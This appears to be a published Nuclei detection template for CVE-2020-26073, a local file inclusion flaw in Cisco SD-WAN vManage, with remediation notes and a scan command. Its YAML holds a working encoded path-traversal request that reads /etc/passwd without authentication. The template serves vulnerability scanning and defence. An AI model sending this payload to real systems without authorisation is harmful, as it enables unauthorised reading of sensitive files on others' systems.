Cisco SD-WAN vManage Software - Local File Inclusion

ID: CVE-2020-26073

Severity: high

Author: madrobot

Tags: cve,cve2020,cisco,lfi

Description

Cisco SD-WAN vManage Software in the application data endpoints is vulnerable to local file inclusion which could allow an unauthenticated, remote attacker to gain access to sensitive information.

YAML Source

id: CVE-2020-26073

info:
  name: Cisco SD-WAN vManage Software - Local File Inclusion
  author: madrobot
  severity: high
  description: |
    Cisco SD-WAN vManage Software in the application data endpoints is vulnerable to local file inclusion which could allow an unauthenticated, remote attacker to gain access to sensitive information.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the affected system.
  remediation: |
    Apply the latest security patches provided by Cisco to fix the vulnerability.
  reference:
    - https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-vman-traversal-hQh24tmk.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26073
  classification:
    cve-id: CVE-2020-26073
  metadata:
    max-request: 1
  tags: cve,cve2020,cisco,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/dataservice/disasterrecovery/download/token/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body
# digest: 4a0a004730450221008e7f4d63a08d1bd5b84500f44e42ef07bba7785de8f9b604936b65266b191ee20220453318b223d81c307ad06202fb1863270b3387cee51b69928ec934ade6bbdaf6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-26073.yaml"

View on Github